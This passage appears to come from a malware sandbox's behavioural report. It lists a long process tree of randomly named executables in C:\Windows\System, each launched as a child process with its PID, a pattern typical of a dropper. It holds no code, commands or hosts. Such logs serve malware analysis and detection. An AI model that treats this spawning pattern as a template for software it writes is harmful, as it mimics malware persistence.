  C:\Windows\System\nCJKBYN.exe
  2⤵
  PID:8692
- C:\Windows\System\ZoUzzJw.exe
  C:\Windows\System\ZoUzzJw.exe
  2⤵
  PID:8716
- C:\Windows\System\iicjCDN.exe
  C:\Windows\System\iicjCDN.exe
  2⤵
  PID:8744
- C:\Windows\System\rrLGUcP.exe
  C:\Windows\System\rrLGUcP.exe
  2⤵
  PID:8776
- C:\Windows\System\oatlQfX.exe
  C:\Windows\System\oatlQfX.exe
  2⤵
  PID:8804
- C:\Windows\System\oSLlrBk.exe
  C:\Windows\System\oSLlrBk.exe
  2⤵
  PID:8824
- C:\Windows\System\KaNiygI.exe
  C:\Windows\System\KaNiygI.exe
  2⤵
  PID:8848
- C:\Windows\System\bMLFNWx.exe
  C:\Windows\System\bMLFNWx.exe
  2⤵
  PID:8868
- C:\Windows\System\tMAsHJi.exe
  C:\Windows\System\tMAsHJi.exe
  2⤵
  PID:8892
- C:\Windows\System\ItojfRx.exe
  C:\Windows\System\ItojfRx.exe
  2⤵
  PID:8960
- C:\Windows\System\fFyVEud.exe
  C:\Windows\System\fFyVEud.exe
  2⤵
  PID:8984
- C:\Windows\System\RGDKveS.exe
  C:\Windows\System\RGDKveS.exe
  2⤵
  PID:9008
- C:\Windows\System\BJraEzb.exe
  C:\Windows\System\BJraEzb.exe
  2⤵
  PID:9032
- C:\Windows\System\JNgDWkv.exe
  C:\Windows\System\JNgDWkv.exe
  2⤵
  PID:9052
- C:\Windows\System\ovlGsrq.exe
  C:\Windows\System\ovlGsrq.exe
  2⤵
  PID:9072
- C:\Windows\System\YTcfwVF.exe
  C:\Windows\System\YTcfwVF.exe
  2⤵
  PID:9120
- C:\Windows\System\LFSyHjH.exe
  C:\Windows\System\LFSyHjH.exe
  2⤵
  PID:9180
- C:\Windows\System\LNdwHLi.exe
  C:\Windows\System\LNdwHLi.exe
  2⤵
  PID:9212
- C:\Windows\System\aWBAtFp.exe
  C:\Windows\System\aWBAtFp.exe
  2⤵
  PID:7812
- C:\Windows\System\AIdgIRQ.exe
  C:\Windows\System\AIdgIRQ.exe
  2⤵
  PID:8216
- C:\Windows\System\IqJeizD.exe
  C:\Windows\System\IqJeizD.exe
  2⤵
  PID:8328
- C:\Windows\System\DKIJxNp.exe
  C:\Windows\System\DKIJxNp.exe
  2⤵
  PID:8384
- C:\Windows\System\riPolxS.exe
  C:\Windows\System\riPolxS.exe
  2⤵
  PID:8460
- C:\Windows\System\OTUTmPo.exe
  C:\Windows\System\OTUTmPo.exe
  2⤵
  PID:8532
- C:\Windows\System\rSWldLV.exe
  C:\Windows\System\rSWldLV.exe
  2⤵
  PID:8584
- C:\Windows\System\vkIKwRw.exe
  C:\Windows\System\vkIKwRw.exe
  2⤵
  PID:8628
- C:\Windows\System\jqJPVOE.exe
  C:\Windows\System\jqJPVOE.exe
  2⤵
  PID:7916
- C:\Windows\System\FrJDhFz.exe
  C:\Windows\System\FrJDhFz.exe
  2⤵
  PID:8736
- C:\Windows\System\PlmJhLV.exe
  C:\Windows\System\PlmJhLV.exe
  2⤵
  PID:8768
- C:\Windows\System\fUSRmZL.exe
  C:\Windows\System\fUSRmZL.exe
  2⤵
  PID:8836
- C:\Windows\System\FeJzDZF.exe
  C:\Windows\System\FeJzDZF.exe
  2⤵
  PID:8976
- C:\Windows\System\UuGDaDb.exe
  C:\Windows\System\UuGDaDb.exe
  2⤵
  PID:9024
- C:\Windows\System\RWlZiyO.exe
  C:\Windows\System\RWlZiyO.exe
  2⤵
  PID:9020
- C:\Windows\System\uQAmGpD.exe
  C:\Windows\System\uQAmGpD.exe
  2⤵
  PID:9148
- C:\Windows\System\bBemiXK.exe
  C:\Windows\System\bBemiXK.exe
  2⤵
  PID:7192
- C:\Windows\System\OGWlOhR.exe
  C:\Windows\System\OGWlOhR.exe
  2⤵
  PID:8080
- C:\Windows\System\LcujDbN.exe
  C:\Windows\System\LcujDbN.exe
  2⤵
  PID:8416
- C:\Windows\System\CtPWCCg.exe
  C:\Windows\System\CtPWCCg.exe
  2⤵
  PID:8624
- C:\Windows\System\dYuBMbp.exe
  C:\Windows\System\dYuBMbp.exe
  2⤵
  PID:8708
- C:\Windows\System\jlNmmwc.exe
  C:\Windows\System\jlNmmwc.exe
  2⤵
  PID:7448
- C:\Windows\System\FaClrEm.exe
  C:\Windows\System\FaClrEm.exe
  2⤵
  PID:9004
- C:\Windows\System\DriueCe.exe
  C:\Windows\System\DriueCe.exe
  2⤵
  PID:9092
- C:\Windows\System\CcnBXmv.exe
  C:\Windows\System\CcnBXmv.exe
  2⤵
  PID:784
- C:\Windows\System\JwUTrAj.exe
  C:\Windows\System\JwUTrAj.exe
  2⤵
  PID:8344
- C:\Windows\System\KgVgRoO.exe
  C:\Windows\System\KgVgRoO.exe
  2⤵
  PID:8668
- C:\Windows\System\EtMoPAt.exe
  C:\Windows\System\EtMoPAt.exe
  2⤵
  PID:8512
- C:\Windows\System\Akreisf.exe
  C:\Windows\System\Akreisf.exe
  2⤵
  PID:8320
- C:\Windows\System\xbdglmO.exe
  C:\Windows\System\xbdglmO.exe
  2⤵
  PID:9236
- C:\Windows\System\MgoVwIR.exe
  C:\Windows\System\MgoVwIR.exe
  2⤵
  PID:9292
- C:\Windows\System\iRADVRb.exe
  C:\Windows\System\iRADVRb.exe
  2⤵
  PID:9316
- C:\Windows\System\oWEcLlq.exe
  C:\Windows\System\oWEcLlq.exe
  2⤵
  PID:9360
- C:\Windows\System\oRoPxRd.exe
  C:\Windows\System\oRoPxRd.exe
  2⤵
  PID:9380
- C:\Windows\System\sWPVDct.exe
  C:\Windows\System\sWPVDct.exe
  2⤵
  PID:9400
- C:\Windows\System\rmIUwwI.exe
  C:\Windows\System\rmIUwwI.exe
  2⤵
  PID:9428
- C:\Windows\System\aPKMsvp.exe
  C:\Windows\System\aPKMsvp.exe
  2⤵
  PID:9448
- C:\Windows\System\RiubsoF.exe
  C:\Windows\System\RiubsoF.exe
  2⤵
  PID:9476
- C:\Windows\System\yNaQenX.exe
  C:\Windows\System\yNaQenX.exe
  2⤵
  PID:9500
- C:\Windows\System\IaeMzcv.exe
  C:\Windows\System\IaeMzcv.exe
  2⤵
  PID:9520
- C:\Windows\System\mIyJbta.exe
  C:\Windows\System\mIyJbta.exe
  2⤵
  PID:9536
- C:\Windows\System\TRxLUfn.exe
  C:\Windows\System\TRxLUfn.exe
  2⤵
  PID:9552
- C:\Windows\System\vSrgmxb.exe
  C:\Windows\System\vSrgmxb.exe
  2⤵
  PID:9572
- C:\Windows\System\XWqxoXr.exe
  C:\Windows\System\XWqxoXr.exe
  2⤵
  PID:9616
- C:\Windows\System\LhsMxwu.exe
  C:\Windows\System\LhsMxwu.exe
  2⤵
  PID:9636
- C:\Windows\System\KAIaOvz.exe
  C:\Windows\System\KAIaOvz.exe
  2⤵
  PID:9656
- C:\Windows\System\qbVJdbW.exe
  C:\Windows\System\qbVJdbW.exe
  2⤵
  PID:9684
- C:\Windows\System\YJiGRBr.exe
  C:\Windows\System\YJiGRBr.exe
  2⤵
  PID:9704
- C:\Windows\System\CgdpOjq.exe
  C:\Windows\System\CgdpOjq.exe
  2⤵
  PID:9772
- C:\Windows\System\TVYHhec.exe
  C:\Windows\System\TVYHhec.exe
  2⤵
  PID:9796
- C:\Windows\System\ciRXkGg.exe
  C:\Windows\System\ciRXkGg.exe
  2⤵
  PID:9828
- C:\Windows\System\tkoxESY.exe
  C:\Windows\System\tkoxESY.exe
  2⤵
  PID:9848
- C:\Windows\System\kTSWTLN.exe
  C:\Windows\System\kTSWTLN.exe
  2⤵
  PID:9900
- C:\Windows\System\nKpQLjq.exe
  C:\Windows\System\nKpQLjq.exe
  2⤵
  PID:9968
- C:\Windows\System\FzdvOVi.exe
  C:\Windows\System\FzdvOVi.exe
  2⤵
  PID:9992
- C:\Windows\System\cQMPiZN.exe
  C:\Windows\System\cQMPiZN.exe
  2⤵
  PID:10012
- C:\Windows\System\kvDRuTJ.exe
  C:\Windows\System\kvDRuTJ.exe
  2⤵
  PID:10036
- C:\Windows\System\TWTUPSg.exe
  C:\Windows\System\TWTUPSg.exe
  2⤵
  PID:10060
- C:\Windows\System\uoTpTxP.exe
  C:\Windows\System\uoTpTxP.exe
  2⤵
  PID:10088
- C:\Windows\System\piEFQkV.exe
  C:\Windows\System\piEFQkV.exe
  2⤵
  PID:10112
- C:\Windows\System\umBjSxq.exe
  C:\Windows\System\umBjSxq.exe
  2⤵
  PID:10140
- C:\Windows\System\KyjZSjW.exe
  C:\Windows\System\KyjZSjW.exe
  2⤵
  PID:10168
- C:\Windows\System\CRXyacj.exe
  C:\Windows\System\CRXyacj.exe
  2⤵
  PID:10220
- C:\Windows\System\ZYqRGbz.exe
  C:\Windows\System\ZYqRGbz.exe
  2⤵
  PID:8664
- C:\Windows\System\iIbdzBB.exe
  C:\Windows\System\iIbdzBB.exe
  2⤵
  PID:9264
- C:\Windows\System\pBcYxnC.exe
  C:\Windows\System\pBcYxnC.exe
  2⤵
  PID:9308
- C:\Windows\System\wyxsUSz.exe
  C:\Windows\System\wyxsUSz.exe
  2⤵
  PID:9376
- C:\Windows\System\fAfYMgi.exe
  C:\Windows\System\fAfYMgi.exe
  2⤵
  PID:9396
- C:\Windows\System\TUiXzFQ.exe
  C:\Windows\System\TUiXzFQ.exe
  2⤵
  PID:9512
- C:\Windows\System\CxzmQEr.exe
  C:\Windows\System\CxzmQEr.exe
  2⤵
  PID:9492
- C:\Windows\System\gExvAHm.exe
  C:\Windows\System\gExvAHm.exe
  2⤵
  PID:9596
- C:\Windows\System\DMRBetz.exe
  C:\Windows\System\DMRBetz.exe
  2⤵
  PID:9612
- C:\Windows\System\XXpUhep.exe
  C:\Windows\System\XXpUhep.exe
  2⤵
  PID:9644
- C:\Windows\System\XptLRwN.exe
  C:\Windows\System\XptLRwN.exe
  2⤵
  PID:9792
- C:\Windows\System\RBPhQyd.exe
  C:\Windows\System\RBPhQyd.exe
  2⤵
  PID:9824
- C:\Windows\System\vviruPP.exe
  C:\Windows\System\vviruPP.exe
  2⤵
  PID:9876
- C:\Windows\System\wMbTljC.exe
  C:\Windows\System\wMbTljC.exe
  2⤵
  PID:9944
- C:\Windows\System\ancHSlB.exe
  C:\Windows\System\ancHSlB.exe
  2⤵
  PID:10024
- C:\Windows\System\jadFepf.exe
  C:\Windows\System\jadFepf.exe
  2⤵
  PID:10068
- C:\Windows\System\BcPkkvo.exe
  C:\Windows\System\BcPkkvo.exe
  2⤵
  PID:10164
- C:\Windows\System\VZecdtf.exe
  C:\Windows\System\VZecdtf.exe
  2⤵
  PID:10160
- C:\Windows\System\PtFtNMd.exe
  C:\Windows\System\PtFtNMd.exe
  2⤵
  PID:8604
- C:\Windows\System\oWsiyIt.exe
  C:\Windows\System\oWsiyIt.exe
  2⤵
  PID:9288
- C:\Windows\System\OSruzXM.exe
  C:\Windows\System\OSruzXM.exe
  2⤵
  PID:9340
- C:\Windows\System\CMKHBGn.exe
  C:\Windows\System\CMKHBGn.exe
  2⤵
  PID:9548
- C:\Windows\System\dAuWQEY.exe
  C:\Windows\System\dAuWQEY.exe
  2⤵
  PID:9652
- C:\Windows\System\GyhLfum.exe
  C:\Windows\System\GyhLfum.exe
  2⤵
  PID:9984
- C:\Windows\System\MpVLUEi.exe
  C:\Windows\System\MpVLUEi.exe
  2⤵
  PID:10104
- C:\Windows\System\LXUbTzB.exe
  C:\Windows\System\LXUbTzB.exe
  2⤵
  PID:10208
- C:\Windows\System\aTQnPIm.exe
  C:\Windows\System\aTQnPIm.exe
  2⤵
  PID:9228
- C:\Windows\System\LHKNJeY.exe
  C:\Windows\System\LHKNJeY.exe
  2⤵
  PID:9844
- C:\Windows\System\lvqaCmi.exe
  C:\Windows\System\lvqaCmi.exe
  2⤵
  PID:9860
- C:\Windows\System\OQSPSnZ.exe
  C:\Windows\System\OQSPSnZ.exe
  2⤵
  PID:10260
- C:\Windows\System\LJYFVBo.exe
  C:\Windows\System\LJYFVBo.exe
  2⤵
  PID:10320
- C:\Windows\System\WCcbLhl.exe
  C:\Windows\System\WCcbLhl.exe
  2⤵
  PID:10380
- C:\Windows\System\sMqTShl.exe
  C:\Windows\System\sMqTShl.exe
  2⤵
  PID:10424
- C:\Windows\System\iWhlcUZ.exe
  C:\Windows\System\iWhlcUZ.exe
  2⤵
  PID:10448
- C:\Windows\System\GPhulhm.exe
  C:\Windows\System\GPhulhm.exe
  2⤵
  PID:10472
- C:\Windows\System\FkFwVOU.exe
  C:\Windows\System\FkFwVOU.exe
  2⤵
  PID:10500
- C:\Windows\System\KMzkqtC.exe
  C:\Windows\System\KMzkqtC.exe
  2⤵
  PID:10528
- C:\Windows\System\NYhJufs.exe
  C:\Windows\System\NYhJufs.exe
  2⤵
  PID:10556
- C:\Windows\System\PaLKhkz.exe
  C:\Windows\System\PaLKhkz.exe
  2⤵
  PID:10576
- C:\Windows\System\tAnBaVn.exe
  C:\Windows\System\tAnBaVn.exe
  2⤵
  PID:10604
- C:\Windows\System\KHxTAzK.exe
  C:\Windows\System\KHxTAzK.exe
  2⤵
  PID:10640
- C:\Windows\System\mVGtMWV.exe
  C:\Windows\System\mVGtMWV.exe
  2⤵
  PID:10660
- C:\Windows\System\wydgQSx.exe
  C:\Windows\System\wydgQSx.exe
  2⤵
  PID:10684
- C:\Windows\System\VeJuWxg.exe
  C:\Windows\System\VeJuWxg.exe
  2⤵
  PID:10708
- C:\Windows\System\PGHXiri.exe
  C:\Windows\System\PGHXiri.exe
  2⤵
  PID:10736
- C:\Windows\System\OUgfsoJ.exe
  C:\Windows\System\OUgfsoJ.exe
  2⤵
  PID:10760
- C:\Windows\System\PpjsXuL.exe
  C:\Windows\System\PpjsXuL.exe
  2⤵
  PID:10784
- C:\Windows\System\jCQLVtj.exe
  C:\Windows\System\jCQLVtj.exe
  2⤵
  PID:10832
- C:\Windows\System\YZlWNrh.exe
  C:\Windows\System\YZlWNrh.exe
  2⤵
  PID:10852
- C:\Windows\System\OaIDLpf.exe
  C:\Windows\System\OaIDLpf.exe
  2⤵
  PID:10892
- C:\Windows\System\JdJDugi.exe
  C:\Windows\System\JdJDugi.exe
  2⤵
  PID:10916
- C:\Windows\System\HyGjSWQ.exe
  C:\Windows\System\HyGjSWQ.exe
  2⤵
  PID:10948
- C:\Windows\System\YsUHWzx.exe
  C:\Windows\System\YsUHWzx.exe
  2⤵
  PID:10976
- C:\Windows\System\AaqgcnH.exe
  C:\Windows\System\AaqgcnH.exe
  2⤵
  PID:10996
- C:\Windows\System\PPsnEGq.exe
  C:\Windows\System\PPsnEGq.exe
  2⤵
  PID:11040
- C:\Windows\System\ffptohI.exe
  C:\Windows\System\ffptohI.exe
  2⤵
  PID:11064
- C:\Windows\System\bAyIvLB.exe
  C:\Windows\System\bAyIvLB.exe
  2⤵
  PID:11092
- C:\Windows\System\GeVFugc.exe
  C:\Windows\System\GeVFugc.exe
  2⤵
  PID:11112
- C:\Windows\System\PrOdYao.exe
  C:\Windows\System\PrOdYao.exe
  2⤵
  PID:11136
- C:\Windows\System\IOspJcT.exe
  C:\Windows\System\IOspJcT.exe
  2⤵
  PID:11156
- C:\Windows\System\PdPeuEF.exe
  C:\Windows\System\PdPeuEF.exe
  2⤵
  PID:11200
- C:\Windows\System\NulqwmT.exe
  C:\Windows\System\NulqwmT.exe
  2⤵
  PID:11228
- C:\Windows\System\FRyrmfl.exe
  C:\Windows\System\FRyrmfl.exe
  2⤵
  PID:11252
- C:\Windows\System\UvrGJao.exe
  C:\Windows\System\UvrGJao.exe
  2⤵
  PID:9488
- C:\Windows\System\HzZHAcm.exe
  C:\Windows\System\HzZHAcm.exe
  2⤵
  PID:9472
- C:\Windows\System\iWuajvk.exe
  C:\Windows\System\iWuajvk.exe
  2⤵
  PID:10280
- C:\Windows\System\EMzardN.exe
  C:\Windows\System\EMzardN.exe
  2⤵
  PID:10312
- C:\Windows\System\jmTDpXK.exe
  C:\Windows\System\jmTDpXK.exe
  2⤵
  PID:10444
- C:\Windows\System\VtOFjNJ.exe
  C:\Windows\System\VtOFjNJ.exe
  2⤵
  PID:10516
- C:\Windows\System\dPxOdus.exe
  C:\Windows\System\dPxOdus.exe
  2⤵
  PID:10572
- C:\Windows\System\yCiILrK.exe
  C:\Windows\System\yCiILrK.exe
  2⤵
  PID:10616
- C:\Windows\System\ccXcyXx.exe
  C:\Windows\System\ccXcyXx.exe
  2⤵
  PID:10672
- C:\Windows\System\ifulGnl.exe
  C:\Windows\System\ifulGnl.exe
  2⤵
  PID:10716
- C:\Windows\System\jYafPHK.exe
  C:\Windows\System\jYafPHK.exe
  2⤵
  PID:10772
- C:\Windows\System\wBNqAWw.exe
  C:\Windows\System\wBNqAWw.exe
  2⤵
  PID:10864
- C:\Windows\System\TwVhBeI.exe
  C:\Windows\System\TwVhBeI.exe
  2⤵
  PID:10900
- C:\Windows\System\VbdoCtV.exe
  C:\Windows\System\VbdoCtV.exe
  2⤵
  PID:10932
- C:\Windows\System\dDZVHoH.exe
  C:\Windows\System\dDZVHoH.exe
  2⤵
  PID:10972
- C:\Windows\System\DxrnIMu.exe
  C:\Windows\System\DxrnIMu.exe
  2⤵
  PID:11124
- C:\Windows\System\XQbQifJ.exe
  C:\Windows\System\XQbQifJ.exe
  2⤵
  PID:9112
- C:\Windows\System\YISKpxX.exe
  C:\Windows\System\YISKpxX.exe
  2⤵
  PID:10132
- C:\Windows\System\AkgSxVK.exe
  C:\Windows\System\AkgSxVK.exe
  2⤵
  PID:10536
- C:\Windows\System\WFcQQUi.exe
  C:\Windows\System\WFcQQUi.exe
  2⤵
  PID:10596
- C:\Windows\System\ywIOrXp.exe
  C:\Windows\System\ywIOrXp.exe
  2⤵
  PID:10872
- C:\Windows\System\YReqFzC.exe
  C:\Windows\System\YReqFzC.exe
  2⤵
  PID:10820
- C:\Windows\System\lJuWKlu.exe
  C:\Windows\System\lJuWKlu.exe
  2⤵
  PID:10960
- C:\Windows\System\jfYlklH.exe
  C:\Windows\System\jfYlklH.exe
  2⤵
  PID:11172
- C:\Windows\System\dDfFgvi.exe
  C:\Windows\System\dDfFgvi.exe
  2⤵
  PID:11216
- C:\Windows\System\pSpMowd.exe
  C:\Windows\System\pSpMowd.exe
  2⤵
  PID:10268
- C:\Windows\System\ZIDyQWx.exe
  C:\Windows\System\ZIDyQWx.exe
  2⤵
  PID:10724
- C:\Windows\System\hveNsUj.exe
  C:\Windows\System\hveNsUj.exe
  2⤵
  PID:10652
- C:\Windows\System\cSHYXah.exe
  C:\Windows\System\cSHYXah.exe
  2⤵
  PID:11304
- C:\Windows\System\QzmSOUU.exe
  C:\Windows\System\QzmSOUU.exe
  2⤵
  PID:11332
- C:\Windows\System\KhrxSOx.exe
  C:\Windows\System\KhrxSOx.exe
  2⤵
  PID:11388
- C:\Windows\System\OUtRKuB.exe
  C:\Windows\System\OUtRKuB.exe
  2⤵
  PID:11404
- C:\Windows\System\bTjnuyL.exe
  C:\Windows\System\bTjnuyL.exe
  2⤵
  PID:11452
- C:\Windows\System\CjtDUvq.exe
  C:\Windows\System\CjtDUvq.exe
  2⤵
  PID:11476
- C:\Windows\System\tpaOINI.exe
  C:\Windows\System\tpaOINI.exe
  2⤵
  PID:11500
- C:\Windows\System\PHtzIAn.exe
  C:\Windows\System\PHtzIAn.exe
  2⤵
  PID:11540
- C:\Windows\System\bhdyxBn.exe
  C:\Windows\System\bhdyxBn.exe
  2⤵
  PID:11584
- C:\Windows\System\TLVrlzN.exe
  C:\Windows\System\TLVrlzN.exe
  2⤵
  PID:11608
- C:\Windows\System\DefpcoA.exe
  C:\Windows\System\DefpcoA.exe
  2⤵
  PID:11628
- C:\Windows\System\JVZdfGZ.exe
  C:\Windows\System\JVZdfGZ.exe
  2⤵
  PID:11652
- C:\Windows\System\louRHKk.exe
  C:\Windows\System\louRHKk.exe
  2⤵
  PID:11684
- C:\Windows\System\zoRvbsg.exe
  C:\Windows\System\zoRvbsg.exe
  2⤵
  PID:11708
- C:\Windows\System\TuoVWMA.exe
  C:\Windows\System\TuoVWMA.exe
  2⤵
  PID:11768
- C:\Windows\System\UpYkPFJ.exe
  C:\Windows\System\UpYkPFJ.exe
  2⤵
  PID:11784
- C:\Windows\System\bhvUcWl.exe
  C:\Windows\System\bhvUcWl.exe
  2⤵
  PID:11808
- C:\Windows\System\ubPgATP.exe
  C:\Windows\System\ubPgATP.exe
  2⤵
  PID:11828
- C:\Windows\System\QVjRUDN.exe
  C:\Windows\System\QVjRUDN.exe
  2⤵
  PID:11856
- C:\Windows\System\tbqPuKi.exe
  C:\Windows\System\tbqPuKi.exe
  2⤵
  PID:11884
- C:\Windows\System\iDOLljS.exe
  C:\Windows\System\iDOLljS.exe
  2⤵
  PID:11924
- C:\Windows\System\HRWbbyK.exe
  C:\Windows\System\HRWbbyK.exe
  2⤵
  PID:11960
- C:\Windows\System\GEgeDUa.exe
  C:\Windows\System\GEgeDUa.exe
  2⤵
  PID:11988
- C:\Windows\System\hiZZTpu.exe
  C:\Windows\System\hiZZTpu.exe
  2⤵
  PID:12016
- C:\Windows\System\zxwjmzr.exe
  C:\Windows\System\zxwjmzr.exe
  2⤵
  PID:12044
- C:\Windows\System\NRnTsfH.exe
  C:\Windows\System\NRnTsfH.exe
  2⤵
  PID:12076
- C:\Windows\System\eGNtaOO.exe
  C:\Windows\System\eGNtaOO.exe
  2⤵
  PID:12100
- C:\Windows\System\ocxkAeI.exe
  C:\Windows\System\ocxkAeI.exe
  2⤵
  PID:12140
- C:\Windows\System\HpFKioD.exe
  C:\Windows\System\HpFKioD.exe
  2⤵
  PID:12156
- C:\Windows\System\bzghTxQ.exe
  C:\Windows\System\bzghTxQ.exe
  2⤵
  PID:12180
- C:\Windows\System\rXhaYwe.exe
  C:\Windows\System\rXhaYwe.exe
  2⤵
  PID:12220
- C:\Windows\System\pbApcxB.exe
  C:\Windows\System\pbApcxB.exe
  2⤵
  PID:12260
- C:\Windows\System\dViNwVt.exe
  C:\Windows\System\dViNwVt.exe
  2⤵
  PID:11220
- C:\Windows\System\MpJBAEB.exe
  C:\Windows\System\MpJBAEB.exe
  2⤵
  PID:10480
- C:\Windows\System\Owrgxbl.exe
  C:\Windows\System\Owrgxbl.exe
  2⤵
  PID:11412
- C:\Windows\System\nXziRlz.exe
  C:\Windows\System\nXziRlz.exe
  2⤵
  PID:11444
- C:\Windows\System\AmSHADW.exe
  C:\Windows\System\AmSHADW.exe
  2⤵
  PID:11516
- C:\Windows\System\lSRyvjh.exe
  C:\Windows\System\lSRyvjh.exe
  2⤵
  PID:11532
- C:\Windows\System\WLaANCS.exe
  C:\Windows\System\WLaANCS.exe
  2⤵
  PID:11592
- C:\Windows\System\OZsfkWU.exe
  C:\Windows\System\OZsfkWU.exe
  2⤵
  PID:11648
- C:\Windows\System\byJuMVo.exe
  C:\Windows\System\byJuMVo.exe
  2⤵
  PID:11704
- C:\Windows\System\EnUptbM.exe
  C:\Windows\System\EnUptbM.exe
  2⤵
  PID:11776
- C:\Windows\System\yUfGLyw.exe
  C:\Windows\System\yUfGLyw.exe
  2⤵
  PID:11848
- C:\Windows\System\njTXVMb.exe
  C:\Windows\System\njTXVMb.exe
  2⤵
  PID:11904
- C:\Windows\System\KVkLleI.exe
  C:\Windows\System\KVkLleI.exe
  2⤵
  PID:11968
- C:\Windows\System\GSxWEur.exe
  C:\Windows\System\GSxWEur.exe
  2⤵
  PID:12052
- C:\Windows\System\UlNhXKa.exe
  C:\Windows\System\UlNhXKa.exe
  2⤵
  PID:12108
- C:\Windows\System\HXPPIdM.exe
  C:\Windows\System\HXPPIdM.exe
  2⤵
  PID:12172
- C:\Windows\System\yrotUwi.exe
  C:\Windows\System\yrotUwi.exe
  2⤵
  PID:12216
- C:\Windows\System\ABPYqDs.exe
  C:\Windows\System\ABPYqDs.exe
  2⤵
  PID:12252
- C:\Windows\System\IpRClEF.exe
  C:\Windows\System\IpRClEF.exe
  2⤵
  PID:11296
- C:\Windows\System\cKDQESK.exe
  C:\Windows\System\cKDQESK.exe
  2⤵
  PID:11324
- C:\Windows\System\hQVKGhh.exe
  C:\Windows\System\hQVKGhh.exe
  2⤵
  PID:11548
- C:\Windows\System\UnvNIWC.exe
  C:\Windows\System\UnvNIWC.exe
  2⤵
  PID:11636
- C:\Windows\System\mEuuoXN.exe
  C:\Windows\System\mEuuoXN.exe
  2⤵
  PID:11824
- C:\Windows\System\XHxNsTk.exe
  C:\Windows\System\XHxNsTk.exe
  2⤵
  PID:11976
- C:\Windows\System\kxsaXnQ.exe
  C:\Windows\System\kxsaXnQ.exe
  2⤵
  PID:12132
- C:\Windows\System\UhtULLd.exe
  C:\Windows\System\UhtULLd.exe
  2⤵
  PID:10592
- C:\Windows\System\yBIdDwZ.exe
  C:\Windows\System\yBIdDwZ.exe
  2⤵
  PID:11356
- C:\Windows\System\JSfyaAp.exe
  C:\Windows\System\JSfyaAp.exe
  2⤵
  PID:11556
- C:\Windows\System\yNXNkkI.exe
  C:\Windows\System\yNXNkkI.exe
  2⤵
  PID:12136
- C:\Windows\System\buvFLuk.exe
  C:\Windows\System\buvFLuk.exe
  2⤵
  PID:12304
- C:\Windows\System\uyThjuB.exe
  C:\Windows\System\uyThjuB.exe
  2⤵
  PID:12360
- C:\Windows\System\WBQqtjA.exe
  C:\Windows\System\WBQqtjA.exe
  2⤵
  PID:12376
- C:\Windows\System\OTCWrkR.exe
  C:\Windows\System\OTCWrkR.exe
  2⤵
  PID:12396
- C:\Windows\System\dIaYmZg.exe
  C:\Windows\System\dIaYmZg.exe
  2⤵
  PID:12452
- C:\Windows\System\JwvXWRi.exe
  C:\Windows\System\JwvXWRi.exe
  2⤵
  PID:12492
- C:\Windows\System\QCySeNx.exe
  C:\Windows\System\QCySeNx.exe
  2⤵
  PID:12524
- C:\Windows\System\qRWOBjx.exe
  C:\Windows\System\qRWOBjx.exe
  2⤵
  PID:12544
- C:\Windows\System\UtpANvv.exe
  C:\Windows\System\UtpANvv.exe
  2⤵
  PID:12564
- C:\Windows\System\zAJlRXG.exe
  C:\Windows\System\zAJlRXG.exe
  2⤵
  PID:12580
- C:\Windows\System\KRwEnfh.exe
  C:\Windows\System\KRwEnfh.exe
  2⤵
  PID:12628
- C:\Windows\System\NjiKbus.exe
  C:\Windows\System\NjiKbus.exe
  2⤵
  PID:12656
- C:\Windows\System\CImRMwN.exe
  C:\Windows\System\CImRMwN.exe
  2⤵
  PID:12684
- C:\Windows\System\ixJzmPF.exe
  C:\Windows\System\ixJzmPF.exe
  2⤵
  PID:12712
- C:\Windows\System\jkwAIRX.exe
  C:\Windows\System\jkwAIRX.exe
  2⤵
  PID:12748
- C:\Windows\System\wKJwbnq.exe
  C:\Windows\System\wKJwbnq.exe
  2⤵
  PID:12768
- C:\Windows\System\ZBvYAmt.exe
  C:\Windows\System\ZBvYAmt.exe
  2⤵
  PID:12788
- C:\Windows\System\rWYrnrN.exe
  C:\Windows\System\rWYrnrN.exe
  2⤵
  PID:12828
- C:\Windows\System\BuCmXrq.exe
  C:\Windows\System\BuCmXrq.exe
  2⤵
  PID:12860
- C:\Windows\System\WcPHMht.exe
  C:\Windows\System\WcPHMht.exe
  2⤵
  PID:12880
- C:\Windows\System\PxDzqKM.exe
  C:\Windows\System\PxDzqKM.exe
  2⤵
  PID:12904
- C:\Windows\System\RnBNINu.exe
  C:\Windows\System\RnBNINu.exe
  2⤵
  PID:12960
- C:\Windows\System\qIDSrwH.exe
  C:\Windows\System\qIDSrwH.exe
  2⤵
  PID:13008
- C:\Windows\System\ImvNhxq.exe
  C:\Windows\System\ImvNhxq.exe
  2⤵
  PID:13048
- C:\Windows\System\eYvQfra.exe
  C:\Windows\System\eYvQfra.exe
  2⤵
  PID:13064
- C:\Windows\System\PhdZRcN.exe
  C:\Windows\System\PhdZRcN.exe
  2⤵
  PID:13080
- C:\Windows\System\XNwBRmT.exe
  C:\Windows\System\XNwBRmT.exe
  2⤵
  PID:13096
- C:\Windows\System\bcoMUbi.exe
  C:\Windows\System\bcoMUbi.exe
  2⤵
  PID:13116
- C:\Windows\System\pZhDpXz.exe
  C:\Windows\System\pZhDpXz.exe
  2⤵
  PID:13140
- C:\Windows\System\uEThHpH.exe
  C:\Windows\System\uEThHpH.exe
  2⤵
  PID:13160
- C:\Windows\System\khewtsO.exe
  C:\Windows\System\khewtsO.exe
  2⤵
  PID:13184
- C:\Windows\System\ScfFJLE.exe
  C:\Windows\System\ScfFJLE.exe
  2⤵
  PID:13208
- C:\Windows\System\idwLFuZ.exe
  C:\Windows\System\idwLFuZ.exe
  2⤵
  PID:13240
- C:\Windows\System\lRZTBtb.exe
  C:\Windows\System\lRZTBtb.exe
  2⤵
  PID:13292
- C:\Windows\System\BvRrtEb.exe
  C:\Windows\System\BvRrtEb.exe
  2⤵
  PID:11488
- C:\Windows\System\zCNCJbH.exe
  C:\Windows\System\zCNCJbH.exe
  2⤵
  PID:12316
- C:\Windows\System\GjCjibD.exe
  C:\Windows\System\GjCjibD.exe
  2⤵
  PID:12388
- C:\Windows\System\ygtBsbQ.exe
  C:\Windows\System\ygtBsbQ.exe
  2⤵
  PID:5008
- C:\Windows\System\utpqiox.exe
  C:\Windows\System\utpqiox.exe
  2⤵
  PID:12448
- C:\Windows\System\uvgwrrd.exe
  C:\Windows\System\uvgwrrd.exe
  2⤵
  PID:12504
- C:\Windows\System\AQxBVHz.exe
  C:\Windows\System\AQxBVHz.exe
  2⤵
  PID:12576
- C:\Windows\System\HgLryPH.exe
  C:\Windows\System\HgLryPH.exe
  2⤵
  PID:12572
- C:\Windows\System\uHNqujt.exe
  C:\Windows\System\uHNqujt.exe
  2⤵
  PID:12648
